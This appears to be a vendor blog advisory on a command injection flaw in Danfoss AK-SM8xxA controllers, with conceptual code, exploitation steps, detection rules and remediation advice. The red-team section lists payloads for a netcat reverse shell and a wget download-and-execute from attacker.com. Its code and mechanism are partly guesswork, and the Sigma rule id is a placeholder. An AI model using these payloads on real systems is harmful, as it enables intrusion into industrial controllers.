CVE-2025-41451
Executive Summary
CVE-2025-41451 is a critical post-authenticated command injection vulnerability in Danfoss AK-SM8xxA Series controllers, specifically within the alarm-to-mail configuration fields. An authenticated attacker can inject arbitrary OS commands into these fields, leading to full remote code execution on the affected device. This vulnerability poses a severe risk to industrial control systems (ICS) and building management systems (BMS) that rely on these controllers for monitoring and automation. The vendor has released version 4.3.1 to address this issue. No public proof-of-concept (PoC) or exploit code is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While a CVSS vector is not officially provided, based on the description and impact, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – Authentication is required.
- User Interaction (UI): None (N) – No user interaction is needed.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Full system compromise allows access to all data.
- Integrity (I): High (H) – Full system compromise allows modification of all data.
- Availability (A): High (H) – Full system compromise can lead to denial of service.
Estimated CVSS Score: 7.2 (High)
Threat Level: High. The vulnerability allows for complete compromise of the device, which can be used as a pivot point into the OT network.
Deep Dive & Mechanics
The vulnerability resides in the alarm-to-mail configuration functionality of the Danfoss AK-SM8xxA Series controllers. This feature allows administrators to configure email alerts for specific alarms. The configuration fields (e.g., SMTP server, recipient addresses, subject lines) are not properly sanitized before being passed to an OS shell command.
The underlying issue is a classic OS command injection (CWE-78). The application likely constructs a shell command to send an email (e.g., using sendmail or a similar utility) by concatenating user-supplied input directly into the command string. For example:
sendmail -s "Alarm: [USER_SUPPLIED_SUBJECT]" [USER_SUPPLIED_RECIPIENT] < /tmp/alarm_body
An attacker can inject command separators (e.g., ;, |, &&) into these fields to execute arbitrary commands. For instance, setting the recipient to admin@example.com; whoami would execute the whoami command on the controller.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
import subprocess
def send_alarm_email(subject, recipient, body):
command = f"sendmail -s \"{subject}\" {recipient} < /tmp/alarm_body"
subprocess.call(command, shell=True)
Patched Code (Conceptual):
import subprocess
import shlex
def send_alarm_email(subject, recipient, body):
# Use shlex.quote to properly escape shell arguments
safe_subject = shlex.quote(subject)
safe_recipient = shlex.quote(recipient)
command = f"sendmail -s {safe_subject} {safe_recipient} < /tmp/alarm_body"
subprocess.call(command, shell=True)
The patched version uses shlex.quote() to escape special characters, preventing command injection. The vendor's actual fix likely involves similar input validation and sanitization.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid credentials for the Danfoss AK-SM8xxA web interface.
- Network access to the controller.
Exploitation Steps:
- Authenticate: Log in to the web interface with valid credentials.
- Navigate: Go to the alarm-to-mail configuration page.
- Inject Command: In one of the configuration fields (e.g., SMTP server, recipient), inject a command using a separator. For example:
- Recipient:
admin@example.com; id > /tmp/pwned - Subject:
Test $(whoami)
- Recipient:
- Trigger: Save the configuration and trigger an alarm to execute the email sending function.
- Verify: Check for the output of the injected command (e.g., by reading
/tmp/pwnedvia another vulnerability or by observing the system behavior).
Example Payloads:
; nc -e /bin/sh attacker.com 4444– Reverse shell.| wget http://attacker.com/malware -O /tmp/malware && /tmp/malware– Download and execute malware.&& echo "pwned" > /var/www/html/flag.txt– Write a file to the web root.
Blue Team
Detection and Response:
- Monitor Logs: Enable and monitor system logs for unusual command execution or email sending attempts.
- Network Monitoring: Look for outbound connections to unknown IP addresses on unusual ports (e.g., 4444, 31337).
- File Integrity Monitoring: Monitor critical system files and directories for unauthorized changes.
- Honeypot: Deploy a honeypot that mimics the vulnerable configuration to detect scanning and exploitation attempts.
- Access Control: Restrict network access to the controller to only authorized management stations.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections from the controller to unknown IP addresses on ports 80, 443, 4444, 31337, etc.
- Unusual SMTP traffic (e.g., to non-standard mail servers).
- Host:
- Unexpected files in
/tmp/,/var/tmp/, or the web root. - New processes spawned from the web server (e.g.,
nc,bash,wget). - Modified configuration files for the alarm-to-mail feature.
- Unexpected files in
- Logs:
- Entries in system logs showing execution of commands like
id,whoami,nc,wget. - Failed authentication attempts followed by successful exploitation.
- Entries in system logs showing execution of commands like
Detection Engineering
YARA Rule
rule CVE_2025_41451_Danfoss_Command_Injection {
meta:
description = "Detects command injection attempts targeting Danfoss AK-SM8xxA alarm-to-mail configuration"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-41451"
severity = "high"
strings:
$cmd1 = /[;&|`$()]/
$cmd2 = /(sendmail|mail|email)/ nocase
$cmd3 = /(alarm|alert|notification)/ nocase
condition:
all of ($cmd1, $cmd2, $cmd3) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-41451 Danfoss AK-SM8xxA Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in Danfoss AK-SM8xxA alarm-to-mail configuration
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-41451
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/sendmail'
CommandLine|contains:
- ';'
- '|'
- '&&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of special characters in email addresses (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 25,587,465 (msg:"CVE-2025-41451 Danfoss AK-SM8xxA Command Injection - Outbound SMTP with Suspicious Content"; flow:to_server,established; content:"|0d 0a|"; content:"|0d 0a|"; distance:0; within:8192; content:"|3b|"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade all Danfoss AK-SM8xxA Series controllers to version 4.3.1 or later.
- Network Segmentation: Isolate the controllers on a separate VLAN with strict firewall rules.
- Access Control: Enforce strong passwords and multi-factor authentication (MFA) for all administrative accounts.
- Disable Unused Features: If the alarm-to-mail feature is not required, disable it.
Long-Term Measures:
- Vulnerability Management: Implement a regular patch management process for all OT devices.
- Security Monitoring: Deploy an OT-specific SIEM or IDS to monitor for suspicious activity.
- Incident Response: Develop and test an incident response plan specific to OT environments.
- Vendor Communication: Establish a channel with Danfoss for security advisories and updates.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert